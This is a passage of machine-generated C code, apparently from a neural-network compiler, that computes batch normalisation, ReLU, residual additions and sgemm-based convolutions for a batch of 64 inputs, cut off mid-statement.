{\nint32_t x8094 = x8082;\nbool x8095 = x8094 == 128;\nif (x8095) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8102 = x8082;\nbool x8104 = x8033 == 1;\nint32_t x8103 = 128 / x8102;\nbool x8105 = x8103 == 1;\nbool x8109;\nif (x454) {\nbool x8106 = x8104 || x8105;\nbool x8107 = x8033 == x8103;\nbool x8108 = x8106 || x8107;\nx8109 = x8108;\n} else {\nx8109 = false;\n}\nbool x8113;\nif (x8109) {\nx8113 = x8112;\n} else {\nx8113 = false;\n}\nbool x8114;\nif (x8113) {\nx8114 = x8112;\n} else {\nx8114 = false;\n}\nif (x8114) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8033,x8035,x8035,1,x8103,1,1);\nassert(false && \"\");\n}\nbool x8120 = x8033 <= x8103;\nint32_t x8121;\nif (x8120) {\nx8121 = x8103;\n} else {\nx8121 = x8033;\n}\nint32_t x8130 = x8121 * x8129;\nint32_t x8131 = 64 * x8130;\nfloat* x8132 = (float*)myMalloc(x8131 * sizeof(float));;\nint32_t x8133;\nif (x8104) {\nx8133 = 0;\n} else {\nx8133 = x8041;\n}\nint32_t x8136;\nif (x8105) {\nx8136 = 0;\n} else {\nx8136 = 1;\n}\nfor(int x8137=0; x8137 < 64; x8137++) {\nint32_t x8149 = x8042 * x8137;\nint32_t x8143 = x8130 * x8137;\nfor(int x8139=0; x8139 < x8121; x8139++) {\nint32_t x8150 = x8133 * x8139;\nint32_t x8151 = x8149 + x8150;\nint32_t x8156 = x8136 * x8139;\nint32_t x8145 = x8129 * x8139;\nfor(int x8141=0; x8141 < x8123; x8141++) {\nint32_t x8152 = x8134 * x8141;\nint32_t x8153 = x8151 + x8152;\nint32_t x8147 = x8123 * x8141;\nfor(int x8142=0; x8142 < x8123; x8142++) {\nint32_t x8154 = x8135 * x8142;\nint32_t x8155 = x8153 + x8154;\nfloat x8157 = x8044[x8155];\nfloat x8158 = x8[x8156];\nint32_t x8144 = x8142 + x8143;\nint32_t x8146 = x8144 + x8145;\nint32_t x8148 = x8146 + x8147;\nfloat x8159 = x8157 * x8158;\nx8132[x8148] = x8159;\n\n}\n\n}\n\n}\n\n}\nint32_t x8169 = 0;\nint32_t x8170 = 1;\nx8170 *= 1;\nx8169 += 1;\nx8170 *= 1;\nx8170 *= 1;\nint32_t x8175 = x8169;\nbool x8176 = x8175 >= 2;\nif (x8176) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8181 = x8175 == 0;\nif (x8181) {\nint32_t x8182 = x8170;\nbool x8183 = x8182 == 128;\nif (x8183) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8190 = x8170;\nbool x8192 = x8121 == 1;\nint32_t x8191 = 128 / x8190;\nbool x8193 = x8191 == 1;\nbool x8197;\nif (x454) {\nbool x8194 = x8192 || x8193;\nbool x8195 = x8121 == x8191;\nbool x8196 = x8194 || x8195;\nx8197 = x8196;\n} else {\nx8197 = false;\n}\nbool x8201;\nif (x8197) {\nx8201 = x8200;\n} else {\nx8201 = false;\n}\nbool x8202;\nif (x8201) {\nx8202 = x8200;\n} else {\nx8202 = false;\n}\nif (x8202) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8121,x8123,x8123,1,x8191,1,1);\nassert(false && \"\");\n}\nbool x8208 = x8121 <= x8191;\nint32_t x8209;\nif (x8208) {\nx8209 = x8191;\n} else {\nx8209 = x8121;\n}\nint32_t x8218 = x8209 * x8217;\nint32_t x8219 = 64 * x8218;\nfloat* x8220 = (float*)myMalloc(x8219 * sizeof(float));;\nint32_t x8221;\nif (x8192) {\nx8221 = 0;\n} else {\nx8221 = x8129;\n}\nint32_t x8224;\nif (x8193) {\nx8224 = 0;\n} else {\nx8224 = 1;\n}\nfor(int x8225=0; x8225 < 64; x8225++) {\nint32_t x8237 = x8130 * x8225;\nint32_t x8231 = x8218 * x8225;\nfor(int x8227=0; x8227 < x8209; x8227++) {\nint32_t x8238 = x8221 * x8227;\nint32_t x8239 = x8237 + x8238;\nint32_t x8244 = x8224 * x8227;\nint32_t x8233 = x8217 * x8227;\nfor(int x8229=0; x8229 < x8211; x8229++) {\nint32_t x8240 = x8222 * x8229;\nint32_t x8241 = x8239 + x8240;\nint32_t x8235 = x8211 * x8229;\nfor(int x8230=0; x8230 < x8211; x8230++) {\nint32_t x8242 = x8223 * x8230;\nint32_t x8243 = x8241 + x8242;\nfloat x8245 = x8132[x8243];\nfloat x8246 = x95[x8244];\nint32_t x8232 = x8230 + x8231;\nint32_t x8234 = x8232 + x8233;\nint32_t x8236 = x8234 + x8235;\nfloat x8247 = x8245 + x8246;\nx8220[x8236] = x8247;\n\n}\n\n}\n\n}\n\n}\nfloat* x8257 = (float*)myMalloc(x8219 * sizeof(float));;\nfor(int x8259=0; x8259 < x8219; x8259++) {\nfloat x8260 = x8220[x8259];\nbool x8261 = x8260 < 0.0f;\nif (x8261) {\nx8257[x8259] = 0.0f;\n} else {\nfloat x8264 = x8220[x8259];\nx8257[x8259] = x8264;\n}\n\n}\nfloat* x8278 = (float*)myMalloc(x8277 * sizeof(float));;\nint32_t x8281 = 64 * x8209;\nint32_t x8282 = x8281 * x8273;\nfloat* x8283 = (float*)myMalloc(x8282 * sizeof(float));;\nint32_t x8279 = x8209 * x8273;\nfor(int x8284=0; x8284 < 64; x8284++) {\nint32_t x8285 = x8284 * x8218;\nfloat* x8286 = x8257+x8285;\nint32_t x8287 = x8284 * x8274;\nfloat* x8288 = x8278+x8287;\nint32_t x8289 = x8284 * x8279;\nfloat* x8290 = x8283+x8289;\nfor(int x8291=0; x8291 < x8209; x8291++) {\nint32_t x8292 = x8291 / 1;\nint32_t x8296 = x8292 * x8272;\nint32_t x8297 = x8296 * x8272;\nint32_t x8293 = x8291 % 1;\nint32_t x8294 = x8293 / 1;\nint32_t x8298 = x8294 * x8272;\nint32_t x8299 = x8298 * x8272;\nint32_t x8300 = x8297 + x8299;\nint32_t x8295 = x8293 % 1;\nint32_t x8301 = x8295 * x8272;\nint32_t x8302 = x8301 * x8272;\nint32_t x8303 = x8300 + x8302;\nfloat* x8304 = x8290+x8303;\nint32_t x8305 = x8292 * x8211;\nint32_t x8306 = x8305 * x8211;\nfloat* x8307 = x8286+x8306;\nfor(int x8309=0; x8309 < x8272; x8309++) {\nint32_t x8311 = x8309 * x8272;\nfloat* x8312 = x8304+x8311;\nint32_t x8310 = x8309 + x8294;\nint32_t x8313 = x8310 * x8211;\nint32_t x8314 = x8313 + x8295;\nfloat* x8315 = x8307+x8314;\nmemcpy(x8312, x8315, 4 * x8272);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x8273,x8209,1,x111,x8209,x8290,x8273,1,x8288,x8273);\n\n}\nint32_t x8324 = 0;\nint32_t x8325 = 1;\nx8325 *= 1;\nx8324 += 1;\nx8325 *= 1;\nx8325 *= 1;\nint32_t x8330 = x8324;\nbool x8331 = x8330 >= 2;\nif (x8331) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8336 = x8330 == 0;\nif (x8336) {\nint32_t x8337 = x8325;\nbool x8338 = x8337 == 512;\nif (x8338) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8345 = x8325;\nint32_t x8346 = 512 / x8345;\nbool x8347 = x8346 == 1;\nbool x8350;\nif (x454) {\nbool x8348 = 512 == x8346;\nbool x8349 = x8347 || x8348;\nx8350 = x8349;\n} else {\nx8350 = false;\n}\nbool x8354;\nif (x8350) {\nx8354 = x8353;\n} else {\nx8354 = false;\n}\nbool x8355;\nif (x8354) {\nx8355 = x8353;\n} else {\nx8355 = false;\n}\nif (x8355) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x8272,x8272,1,x8346,1,1);\nassert(false && \"\");\n}\nbool x8361 = 512 <= x8346;\nint32_t x8362;\nif (x8361) {\nx8362 = x8346;\n} else {\nx8362 = 512;\n}\nint32_t x8371 = x8362 * x8370;\nint32_t x8372 = 64 * x8371;\nfloat* x8373 = (float*)myMalloc(x8372 * sizeof(float));;\nint32_t x8376;\nif (x8347) {\nx8376 = 0;\n} else {\nx8376 = 1;\n}\nfor(int x8377=0; x8377 < 64; x8377++) {\nint32_t x8389 = x8274 * x8377;\nint32_t x8383 = x8371 * x8377;\nfor(int x8379=0; x8379 < x8362; x8379++) {\nint32_t x8390 = x8273 * x8379;\nint32_t x8391 = x8389 + x8390;\nint32_t x8396 = x8376 * x8379;\nint32_t x8385 = x8370 * x8379;\nfor(int x8381=0; x8381 < x8364; x8381++) {\nint32_t x8392 = x8374 * x8381;\nint32_t x8393 = x8391 + x8392;\nint32_t x8387 = x8364 * x8381;\nfor(int x8382=0; x8382 < x8364; x8382++) {\nint32_t x8394 = x8375 * x8382;\nint32_t x8395 = x8393 + x8394;\nfloat x8397 = x8278[x8395];\nfloat x8398 = x147[x8396];\nint32_t x8384 = x8382 + x8383;\nint32_t x8386 = x8384 + x8385;\nint32_t x8388 = x8386 + x8387;\nfloat x8399 = x8397 - x8398;\nx8373[x8388] = x8399;\n\n}\n\n}\n\n}\n\n}\nfloat* x8409 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x8410=0; x8410 < 512; x8410++) {\nfloat x8411 = x88[x8410];\nfloat x8412 = x8411 + 1.0E-5f;\nx8409[x8410] = x8412;\n\n}\nfloat* x8416 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x8417=0; x8417 < 512; x8417++) {\nfloat x8418 = x8409[x8417];\ndouble x8419 = (double)x8418;\ndouble x8420 = sqrt(x8419);\nfloat x8421 = (float)x8420;\nx8416[x8417] = x8421;\n\n}\nint32_t x8425 = 0;\nint32_t x8426 = 1;\nx8426 *= 1;\nx8425 += 1;\nx8426 *= 1;\nx8426 *= 1;\nint32_t x8431 = x8425;\nbool x8432 = x8431 >= 2;\nif (x8432) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8437 = x8431 == 0;\nif (x8437) {\nint32_t x8438 = x8426;\nbool x8439 = x8438 == 512;\nif (x8439) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8446 = x8426;\nbool x8448 = x8362 == 1;\nint32_t x8447 = 512 / x8446;\nbool x8449 = x8447 == 1;\nbool x8453;\nif (x454) {\nbool x8450 = x8448 || x8449;\nbool x8451 = x8362 == x8447;\nbool x8452 = x8450 || x8451;\nx8453 = x8452;\n} else {\nx8453 = false;\n}\nbool x8457;\nif (x8453) {\nx8457 = x8456;\n} else {\nx8457 = false;\n}\nbool x8458;\nif (x8457) {\nx8458 = x8456;\n} else {\nx8458 = false;\n}\nif (x8458) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8362,x8364,x8364,1,x8447,1,1);\nassert(false && \"\");\n}\nbool x8464 = x8362 <= x8447;\nint32_t x8465;\nif (x8464) {\nx8465 = x8447;\n} else {\nx8465 = x8362;\n}\nint32_t x8474 = x8465 * x8473;\nint32_t x8475 = 64 * x8474;\nfloat* x8476 = (float*)myMalloc(x8475 * sizeof(float));;\nint32_t x8477;\nif (x8448) {\nx8477 = 0;\n} else {\nx8477 = x8370;\n}\nint32_t x8480;\nif (x8449) {\nx8480 = 0;\n} else {\nx8480 = 1;\n}\nfor(int x8481=0; x8481 < 64; x8481++) {\nint32_t x8493 = x8371 * x8481;\nint32_t x8487 = x8474 * x8481;\nfor(int x8483=0; x8483 < x8465; x8483++) {\nint32_t x8494 = x8477 * x8483;\nint32_t x8495 = x8493 + x8494;\nint32_t x8500 = x8480 * x8483;\nint32_t x8489 = x8473 * x8483;\nfor(int x8485=0; x8485 < x8467; x8485++) {\nint32_t x8496 = x8478 * x8485;\nint32_t x8497 = x8495 + x8496;\nint32_t x8491 = x8467 * x8485;\nfor(int x8486=0; x8486 < x8467; x8486++) {\nint32_t x8498 = x8479 * x8486;\nint32_t x8499 = x8497 + x8498;\nfloat x8501 = x8373[x8499];\nfloat x8502 = x8416[x8500];\nint32_t x8488 = x8486 + x8487;\nint32_t x8490 = x8488 + x8489;\nint32_t x8492 = x8490 + x8491;\nfloat x8503 = x8501 / x8502;\nx8476[x8492] = x8503;\n\n}\n\n}\n\n}\n\n}\nint32_t x8513 = 0;\nint32_t x8514 = 1;\nx8514 *= 1;\nx8513 += 1;\nx8514 *= 1;\nx8514 *= 1;\nint32_t x8519 = x8513;\nbool x8520 = x8519 >= 2;\nif (x8520) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8525 = x8519 == 0;\nif (x8525) {\nint32_t x8526 = x8514;\nbool x8527 = x8526 == 512;\nif (x8527) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8534 = x8514;\nbool x8536 = x8465 == 1;\nint32_t x8535 = 512 / x8534;\nbool x8537 = x8535 == 1;\nbool x8541;\nif (x454) {\nbool x8538 = x8536 || x8537;\nbool x8539 = x8465 == x8535;\nbool x8540 = x8538 || x8539;\nx8541 = x8540;\n} else {\nx8541 = false;\n}\nbool x8545;\nif (x8541) {\nx8545 = x8544;\n} else {\nx8545 = false;\n}\nbool x8546;\nif (x8545) {\nx8546 = x8544;\n} else {\nx8546 = false;\n}\nif (x8546) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8465,x8467,x8467,1,x8535,1,1);\nassert(false && \"\");\n}\nbool x8552 = x8465 <= x8535;\nint32_t x8553;\nif (x8552) {\nx8553 = x8535;\n} else {\nx8553 = x8465;\n}\nint32_t x8562 = x8553 * x8561;\nint32_t x8563 = 64 * x8562;\nfloat* x8564 = (float*)myMalloc(x8563 * sizeof(float));;\nint32_t x8565;\nif (x8536) {\nx8565 = 0;\n} else {\nx8565 = x8473;\n}\nint32_t x8568;\nif (x8537) {\nx8568 = 0;\n} else {\nx8568 = 1;\n}\nfor(int x8569=0; x8569 < 64; x8569++) {\nint32_t x8581 = x8474 * x8569;\nint32_t x8575 = x8562 * x8569;\nfor(int x8571=0; x8571 < x8553; x8571++) {\nint32_t x8582 = x8565 * x8571;\nint32_t x8583 = x8581 + x8582;\nint32_t x8588 = x8568 * x8571;\nint32_t x8577 = x8561 * x8571;\nfor(int x8573=0; x8573 < x8555; x8573++) {\nint32_t x8584 = x8566 * x8573;\nint32_t x8585 = x8583 + x8584;\nint32_t x8579 = x8555 * x8573;\nfor(int x8574=0; x8574 < x8555; x8574++) {\nint32_t x8586 = x8567 * x8574;\nint32_t x8587 = x8585 + x8586;\nfloat x8589 = x8476[x8587];\nfloat x8590 = x52[x8588];\nint32_t x8576 = x8574 + x8575;\nint32_t x8578 = x8576 + x8577;\nint32_t x8580 = x8578 + x8579;\nfloat x8591 = x8589 * x8590;\nx8564[x8580] = x8591;\n\n}\n\n}\n\n}\n\n}\nint32_t x8601 = 0;\nint32_t x8602 = 1;\nx8602 *= 1;\nx8601 += 1;\nx8602 *= 1;\nx8602 *= 1;\nint32_t x8607 = x8601;\nbool x8608 = x8607 >= 2;\nif (x8608) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8613 = x8607 == 0;\nif (x8613) {\nint32_t x8614 = x8602;\nbool x8615 = x8614 == 512;\nif (x8615) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8622 = x8602;\nbool x8624 = x8553 == 1;\nint32_t x8623 = 512 / x8622;\nbool x8625 = x8623 == 1;\nbool x8629;\nif (x454) {\nbool x8626 = x8624 || x8625;\nbool x8627 = x8553 == x8623;\nbool x8628 = x8626 || x8627;\nx8629 = x8628;\n} else {\nx8629 = false;\n}\nbool x8633;\nif (x8629) {\nx8633 = x8632;\n} else {\nx8633 = false;\n}\nbool x8634;\nif (x8633) {\nx8634 = x8632;\n} else {\nx8634 = false;\n}\nif (x8634) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8553,x8555,x8555,1,x8623,1,1);\nassert(false && \"\");\n}\nbool x8640 = x8553 <= x8623;\nint32_t x8641;\nif (x8640) {\nx8641 = x8623;\n} else {\nx8641 = x8553;\n}\nint32_t x8650 = x8641 * x8649;\nint32_t x8651 = 64 * x8650;\nfloat* x8652 = (float*)myMalloc(x8651 * sizeof(float));;\nint32_t x8653;\nif (x8624) {\nx8653 = 0;\n} else {\nx8653 = x8561;\n}\nint32_t x8656;\nif (x8625) {\nx8656 = 0;\n} else {\nx8656 = 1;\n}\nfor(int x8657=0; x8657 < 64; x8657++) {\nint32_t x8669 = x8562 * x8657;\nint32_t x8663 = x8650 * x8657;\nfor(int x8659=0; x8659 < x8641; x8659++) {\nint32_t x8670 = x8653 * x8659;\nint32_t x8671 = x8669 + x8670;\nint32_t x8676 = x8656 * x8659;\nint32_t x8665 = x8649 * x8659;\nfor(int x8661=0; x8661 < x8643; x8661++) {\nint32_t x8672 = x8654 * x8661;\nint32_t x8673 = x8671 + x8672;\nint32_t x8667 = x8643 * x8661;\nfor(int x8662=0; x8662 < x8643; x8662++) {\nint32_t x8674 = x8655 * x8662;\nint32_t x8675 = x8673 + x8674;\nfloat x8677 = x8564[x8675];\nfloat x8678 = x246[x8676];\nint32_t x8664 = x8662 + x8663;\nint32_t x8666 = x8664 + x8665;\nint32_t x8668 = x8666 + x8667;\nfloat x8679 = x8677 + x8678;\nx8652[x8668] = x8679;\n\n}\n\n}\n\n}\n\n}\nbool x8689 = x8641 == 1;\nbool x8690 = x8689 || x7272;\nbool x8691 = x8641 == x6800;\nbool x8692 = x8690 || x8691;\nbool x8697;\nif (x8692) {\nx8697 = x8696;\n} else {\nx8697 = false;\n}\nbool x8698;\nif (x8697) {\nx8698 = x8696;\n} else {\nx8698 = false;\n}\nif (x8698) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8641,x8643,x8643,64,x6800,x6802,x6802);\nassert(false && \"\");\n}\nbool x8704 = x8641 <= x6800;\nint32_t x8705;\nif (x8704) {\nx8705 = x6800;\n} else {\nx8705 = x8641;\n}\nint32_t x8721;\nif (x8689) {\nx8721 = 0;\n} else {\nx8721 = x8649;\n}\nfor(int x8724=0; x8724 < 64; x8724++) {\nint32_t x8730 = x8650 * x8724;\nint32_t x8737 = x6809 * x8724;\nfor(int x8726=0; x8726 < x8705; x8726++) {\nint32_t x8731 = x8721 * x8726;\nint32_t x8732 = x8730 + x8731;\nint32_t x8738 = x7306 * x8726;\nint32_t x8739 = x8737 + x8738;\nfor(int x8728=0; x8728 < x8707; x8728++) {\nint32_t x8733 = x8722 * x8728;\nint32_t x8734 = x8732 + x8733;\nint32_t x8740 = x7307 * x8728;\nint32_t x8741 = x8739 + x8740;\nfor(int x8729=0; x8729 < x8707; x8729++) {\nint32_t x8735 = x8723 * x8729;\nint32_t x8736 = x8734 + x8735;\nfloat x8744 = x8652[x8736];\nint32_t x8742 = x7308 * x8729;\nint32_t x8743 = x8741 + x8742;\nfloat x8745 = x7344[x8743];\nfloat x8746 = x8744 + x8745;\nx8652[x8736] = x8746;\n\n}\n\n}\n\n}\n\n}\nfloat* x8756 = (float*)myMalloc(x8651 * sizeof(float));;\nfor(int x8758=0; x8758 < x8651; x8758++) {\nfloat x8759 = x8652[x8758];\nbool x8760 = x8759 < 0.0f;\nif (x8760) {\nx8756[x8758] = 0.0f;\n} else {\nfloat x8763 = x8652[x8758];\nx8756[x8758] = x8763;\n}\n\n}\nfloat* x8777 = (float*)myMalloc(x8776 * sizeof(float));;\nint32_t x8780 = 64 * x8641;\nint32_t x8781 = x8780 * x8772;\nfloat* x8782 = (float*)myMalloc(x8781 * sizeof(float));;\nint32_t x8778 = x8641 * x8772;\nfor(int x8783=0; x8783 < 64; x8783++) {\nint32_t x8784 = x8783 * x8650;\nfloat* x8785 = x8756+x8784;\nint32_t x8786 = x8783 * x8773;\nfloat* x8787 = x8777+x8786;\nint32_t x8788 = x8783 * x8778;\nfloat* x8789 = x8782+x8788;\nfor(int x8790=0; x8790 < x8641; x8790++) {\nint32_t x8791 = x8790 / 1;\nint32_t x8795 = x8791 * x8771;\nint32_t x8796 = x8795 * x8771;\nint32_t x8792 = x8790 % 1;\nint32_t x8793 = x8792 / 1;\nint32_t x8797 = x8793 * x8771;\nint32_t x8798 = x8797 * x8771;\nint32_t x8799 = x8796 + x8798;\nint32_t x8794 = x8792 % 1;\nint32_t x8800 = x8794 * x8771;\nint32_t x8801 = x8800 * x8771;\nint32_t x8802 = x8799 + x8801;\nfloat* x8803 = x8789+x8802;\nint32_t x8804 = x8791 * x8643;\nint32_t x8805 = x8804 * x8643;\nfloat* x8806 = x8785+x8805;\nfor(int x8808=0; x8808 < x8771; x8808++) {\nint32_t x8810 = x8808 * x8771;\nfloat* x8811 = x8803+x8810;\nint32_t x8809 = x8808 + x8793;\nint32_t x8812 = x8809 * x8643;\nint32_t x8813 = x8812 + x8794;\nfloat* x8814 = x8806+x8813;\nmemcpy(x8811, x8814, 4 * x8771);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x8772,x8641,1,x196,x8641,x8789,x8772,1,x8787,x8772);\n\n}\nint32_t x8823 = 0;\nint32_t x8824 = 1;\nx8824 *= 1;\nx8823 += 1;\nx8824 *= 1;\nx8824 *= 1;\nint32_t x8829 = x8823;\nbool x8830 = x8829 >= 2;\nif (x8830) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8835 = x8829 == 0;\nif (x8835) {\nint32_t x8836 = x8824;\nbool x8837 = x8836 == 128;\nif (x8837) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8844 = x8824;\nint32_t x8845 = 128 / x8844;\nbool x8846 = x8845 == 1;\nbool x8849;\nif (x454) {\nbool x8847 = 128 == x8845;\nbool x8848 = x8846 || x8847;\nx8849 = x8848;\n} else {\nx8849 = false;\n}\nbool x8853;\nif (x8849) {\nx8853 = x8852;\n} else {\nx8853 = false;\n}\nbool x8854;\nif (x8853) {\nx8854 = x8852;\n} else {\nx8854 = false;\n}\nif (x8854) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x8771,x8771,1,x8845,1,1);\nassert(false && \"\");\n}\nbool x8860 = 128 <= x8845;\nint32_t x8861;\nif (x8860) {\nx8861 = x8845;\n} else {\nx8861 = 128;\n}\nint32_t x8870 = x8861 * x8869;\nint32_t x8871 = 64 * x8870;\nfloat* x8872 = (float*)myMalloc(x8871 * sizeof(float));;\nint32_t x8875;\nif (x8846) {\nx8875 = 0;\n} else {\nx8875 = 1;\n}\nfor(int x8876=0; x8876 < 64; x8876++) {\nint32_t x8888 = x8773 * x8876;\nint32_t x8882 = x8870 * x8876;\nfor(int x8878=0; x8878 < x8861; x8878++) {\nint32_t x8889 = x8772 * x8878;\nint32_t x8890 = x8888 + x8889;\nint32_t x8895 = x8875 * x8878;\nint32_t x8884 = x8869 * x8878;\nfor(int x8880=0; x8880 < x8863; x8880++) {\nint32_t x8891 = x8873 * x8880;\nint32_t x8892 = x8890 + x8891;\nint32_t x8886 = x8863 * x8880;\nfor(int x8881=0; x8881 < x8863; x8881++) {\nint32_t x8893 = x8874 * x8881;\nint32_t x8894 = x8892 + x8893;\nfloat x8896 = x8777[x8894];\nfloat x8897 = x112[x8895];\nint32_t x8883 = x8881 + x8882;\nint32_t x8885 = x8883 + x8884;\nint32_t x8887 = x8885 + x8886;\nfloat x8898 = x8896 - x8897;\nx8872[x8887] = x8898;\n\n}\n\n}\n\n}\n\n}\nfloat* x8908 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x8909=0; x8909 < 128; x8909++) {\nfloat x8910 = x9[x8909];\nfloat x8911 = x8910 + 1.0E-5f;\nx8908[x8909] = x8911;\n\n}\nfloat* x8915 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x8916=0; x8916 < 128; x8916++) {\nfloat x8917 = x8908[x8916];\ndouble x8918 = (double)x8917;\ndouble x8919 = sqrt(x8918);\nfloat x8920 = (float)x8919;\nx8915[x8916] = x8920;\n\n}\nint32_t x8924 = 0;\nint32_t x8925 = 1;\nx8925 *= 1;\nx8924 += 1;\nx8925 *= 1;\nx8925 *= 1;\nint32_t x8930 = x8924;\nbool x8931 = x8930 >= 2;\nif (x8931) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x8936 = x8930 == 0;\nif (x8936) {\nint32_t x8937 = x8925;\nbool x8938 = x8937 == 128;\nif (x8938) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x8945 = x8925;\nbool x8947 = x8861 == 1;\nint32_t x8946 = 128 / x8945;\nbool x8948 = x8946 == 1;\nbool x8952;\nif (x454) {\nbool x8949 = x8947 || x8948;\nbool x8950 = x8861 == x8946;\nbool x8951 = x8949 || x8950;\nx8952 = x8951;\n} else {\nx8952 = false;\n}\nbool x8956;\nif (x8952) {\nx8956 = x8955;\n} else {\nx8956 = false;\n}\nbool x8957;\nif (x8956) {\nx8957 = x8955;\n} else {\nx8957 = false;\n}\nif (x8957) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8861,x8863,x8863,1,x8946,1,1);\nassert(false && \"\");\n}\nbool x8963 = x8861 <= x8946;\nint32_t x8964;\nif (x8963) {\nx8964 = x8946;\n} else {\nx8964 = x8861;\n}\nint32_t x8973 = x8964 * x8972;\nint32_t x8974 = 64 * x8973;\nfloat* x8975 = (float*)myMalloc(x8974 * sizeof(float));;\nint32_t x8976;\nif (x8947) {\nx8976 = 0;\n} else {\nx8976 = x8869;\n}\nint32_t x8979;\nif (x8948) {\nx8979 = 0;\n} else {\nx8979 = 1;\n}\nfor(int x8980=0; x8980 < 64; x8980++) {\nint32_t x8992 = x8870 * x8980;\nint32_t x8986 = x8973 * x8980;\nfor(int x8982=0; x8982 < x8964; x8982++) {\nint32_t x8993 = x8976 * x8982;\nint32_t x8994 = x8992 + x8993;\nint32_t x8999 = x8979 * x8982;\nint32_t x8988 = x8972 * x8982;\nfor(int x8984=0; x8984 < x8966; x8984++) {\nint32_t x8995 = x8977 * x8984;\nint32_t x8996 = x8994 + x8995;\nint32_t x8990 = x8966 * x8984;\nfor(int x8985=0; x8985 < x8966; x8985++) {\nint32_t x8997 = x8978 * x8985;\nint32_t x8998 = x8996 + x8997;\nfloat x9000 = x8872[x8998];\nfloat x9001 = x8915[x8999];\nint32_t x8987 = x8985 + x8986;\nint32_t x8989 = x8987 + x8988;\nint32_t x8991 = x8989 + x8990;\nfloat x9002 = x9000 / x9001;\nx8975[x8991] = x9002;\n\n}\n\n}\n\n}\n\n}\nint32_t x9012 = 0;\nint32_t x9013 = 1;\nx9013 *= 1;\nx9012 += 1;\nx9013 *= 1;\nx9013 *= 1;\nint32_t x9018 = x9012;\nbool x9019 = x9018 >= 2;\nif (x9019) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x9024 = x9018 == 0;\nif (x9024) {\nint32_t x9025 = x9013;\nbool x9026 = x9025 == 128;\nif (x9026) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x9033 = x9013;\nbool x9035 = x8964 == 1;\nint32_t x9034 = 128 / x9033;\nbool x9036 = x9034 == 1;\nbool x9040;\nif (x454) {\nbool x9037 = x9035 || x9036;\nbool x9038 = x8964 == x9034;\nbool x9039 = x9037 || x9038;\nx9040 = x9039;\n} else {\nx9040 = false;\n}\nbool x9044;\nif (x9040) {\nx9044 = x9043;\n} else {\nx9044 = false;\n}\nbool x9045;\nif (x9044) {\nx9045 = x9043;\n} else {\nx9045 = false;\n}\nif (x9045) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x8964,x8966,x8966,1,x9034,1,1);\nassert(false && \"\");\n}\nbool x9051 = x8964 <= x9034;\nint32_t x9052;\nif (x9051) {\nx9052 = x9034;\n} else {\nx9052 = x8964;\n}\nint32_t x9061 = x9052 * x9060;\nint32_t x9062 = 64 * x9061;\nfloat* x9063 = (float*)myMalloc(x9062 * sizeof(float));;\nint32_t x9064;\nif (x9035) {\nx9064 = 0;\n} else {\nx9064 = x8972;\n}\nint32_t x9067;\nif (x9036) {\nx9067 = 0;\n} else {\nx9067 = 1;\n}\nfor(int x9068=0; x9068 < 64; x9068++) {\nint32_t x9080 = x8973 * x9068;\nint32_t x9074 = x9061 * x9068;\nfor(int x9070=0; x9070 < x9052; x9070++) {\nint32_t x9081 = x9064 * x9070;\nint32_t x9082 = x9080 + x9081;\nint32_t x9087 = x9067 * x9070;\nint32_t x9076 = x9060 * x9070;\nfor(int x9072=0; x9072 < x9054; x9072++) {\nint32_t x9083 = x9065 * x9072;\nint32_t x9084 = x9082 + x9083;\nint32_t x9078 = x9054 * x9072;\nfor(int x9073=0; x9073 < x9054; x9073++) {\nint32_t x9085 = x9066 * x9073;\nint32_t x9086 = x9084 + x9085;\nfloat x9088 = x8975[x9086];\nfloat x9089 = 